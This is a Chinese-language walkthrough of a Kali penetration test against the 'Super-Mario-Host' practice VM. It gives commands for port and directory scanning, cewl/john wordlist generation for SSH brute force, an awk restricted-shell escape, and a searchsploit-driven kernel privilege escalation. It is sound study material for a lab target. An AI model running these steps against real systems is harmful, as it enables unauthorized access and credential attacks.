kali滲透綜合靶機(七)--Super-Mario-Host靶機

靶機百度雲下載  連結：https://pan.baidu.com/s/13l1FUgJjXArfoTOfcmPsbA 提取碼：a8ox

一、主機發現

1.netdiscover -i eth0 -r 192.168.10.0/24

二、埠掃描

1. masscan --rate=10000 -p0-65535 192.168.10.160

三、埠服務識別

1.nmap -sV -T4 -O 192.168.10.160 -p 22,80

四、漏洞發現與利用

1.掃描網站目錄

Dirb http://192.168.10.161:8180

2.發現http://192.168.10.161:8180/vhosts

3. 在本地hosts檔案新增解析記錄

4.瀏覽器訪問http://mario.supermariohost.local:8180/，別的什麼都沒有

5. 使用dirbuster掃描目錄,掃描出來如下目錄

6. 發現http://mario.supermariohost.local:8180/luigi.php

7. 發現http://mario.supermariohost.local:8180/command.php  測試luigi，發現存在

8.使用cewl爬取站點下的可疑使用者名稱作為使用者名稱字典

cewl http://mario.supermariohost.local:8180/ -d -w /root/user.txt

9. john在該user的基礎上生成相應社工密碼進行爆破

john --wordlist=user.txt --stdout --rules > passwd.txt

10.爆破出密碼,使用ssh登入,發現是受限的shell，使用awk呼叫系統命令,繞過限制

awk ‘BEGIN{system(“/bin/bash”)}’

11.檢視核心版本,然後再kali使用searchsploit查詢是否有exp

12.開始提權,成功獲得管理員許可權

總結：

1.資訊收集

2.dirbuster、dirb掃描目錄

3.測試使用者是否存在

4.使用cewl爬取站點下的可疑使用者名稱作為使用者名稱字典

5.john在該user的基礎上生成相應社工密碼進行爆破

6.受用awk呼叫系統命令繞過受限的shell

7.利用核心版本漏洞本地